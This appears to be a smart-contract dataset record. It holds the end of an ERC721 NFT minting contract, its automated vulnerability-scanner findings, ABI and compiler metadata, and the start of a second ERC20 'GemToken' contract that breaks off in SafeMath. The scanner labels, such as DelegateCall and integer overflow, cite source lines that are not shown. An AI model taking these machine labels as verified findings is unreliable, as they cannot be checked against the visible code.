ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1478; uint256 public maxMintAmount = 1478; bool public paused = false; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed = true; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1274"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["485"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["1235"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1227", "274", "252"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["649"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["1191", "65", "653", "191", "1206", "1279", "1033", "1217", "946"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["899", "929", "930", "875"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [332, 333, 334]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [969, 970, 971]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [507, 508, 509, 510]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1304]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1241]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1233]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [1134]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [1160]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [1159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [512, 513, 514, 515, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [288, 289, 290, 291, 292, 293, 294, 295, 296, 286, 287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [354, 355, 356, 357, 358, 359]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [408, 409, 410, 411, 412, 413, 414]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [480, 481, 482, 483, 484, 485, 486, 487, 478, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [896, 897, 898, 899, 900, 901, 902, 903, 891, 892, 893, 894, 895]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [468, 469, 470]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [592, 593, 594]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [441, 442, 443]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [691, 692, 693]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [389, 390, 391, 392, 393, 394, 395]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [451, 452, 453, 454, 455, 456, 457, 458, 459, 460]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BFT.sol": [379, 380, 381]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1320, 1321, 1319]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [672, 673, 674]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1213, 1214, 1215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1336, 1337, 1335]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [753, 754, 755, 756, 757, 758, 759]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1051, 1052, 1053, 1054]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [739, 740, 741, 742, 743, 744, 745, 746, 747, 748]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1323, 1324, 1325]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [704, 705, 706, 707, 708, 698, 699, 700, 701, 702, 703]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1224, 1221, 1222, 1223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1339, 1340, 1341]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [665, 666, 667]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1315, 1316, 1317]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1279]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [1344, 1345, 1346, 1343]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [722, 723, 724, 725, 726, 727]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BFT.sol": [679, 680, 681, 682, 683, 684]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [303]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1004]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [40]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [180]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [234]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1233]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1166]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [17]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [206]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [576]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [599]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [550]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [522]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"BFT.sol": [1180]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"BFT.sol": [613]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"BFT.sol": [610]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [431]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [458]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [485]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [357]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1344]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"BFT.sol": [963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1279]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [768]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1339]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1331]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1335]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1319]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1323]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1263]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BFT.sol": [1327]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"BFT.sol": [964]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"BFT.sol": [966]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"BFT.sol": [970]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"BFT.sol": [1286]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"BFT.sol": [963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 291, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 852, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 873, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 894, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 897, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 927, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1214, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 1235, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1327, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1331, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1335, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 17, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 40, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 180, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 206, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 234, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 303, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 522, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 550, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 576, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 599, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1004, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1166, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1233, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1233, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 240, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 610, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 613, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 616, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 619, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 622, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 625, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1015, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1018, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1021, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1024, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1180, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 966, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 326, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 592, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 969, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 630, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1187, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1247, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 355, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 355, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 355, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 355, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 357, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 357, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 357, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1238, "severity": 1}]
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_initBaseURI","type":"string"},{"internalType":"string","name":"_initNotRevealedUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseExtension","type":"string"}],"name":"setBaseExtension","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_notRevealedURI","type":"string"}],"name":"setNotRevealedURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newmaxMintAmount","type":"uint256"}],"name":"setmaxMintAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}]
v0.8.7+commit.e28d00a7
true
200
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000011426164204672656e636869652047656e3100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d5166505373794531717342525a744c32764c79656677783632577a324772534e354236326654416f323736792f000000000000000000000000000000000000000000000000000000000000000000000000000000000042697066733a2f2f516d5a57715a4438357155654e65547371347736563864525a42466472546f396f5152623373536e7658387245722f48696464656e2e6a736f6e2f000000000000000000000000000000000000000000000000000000000000
Default
MIT
false
ipfs://1c687073952faca5f1437bb0d91722ccc0f94f35b384b15d1a4dc194a0362992
GemToken
0x8df3872d7071076012173c2442272dba7f9acb23
Solidity
/** *Submitted for verification at Etherscan.io on 2020-09-12 */ pragma solidity =0.6.6; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 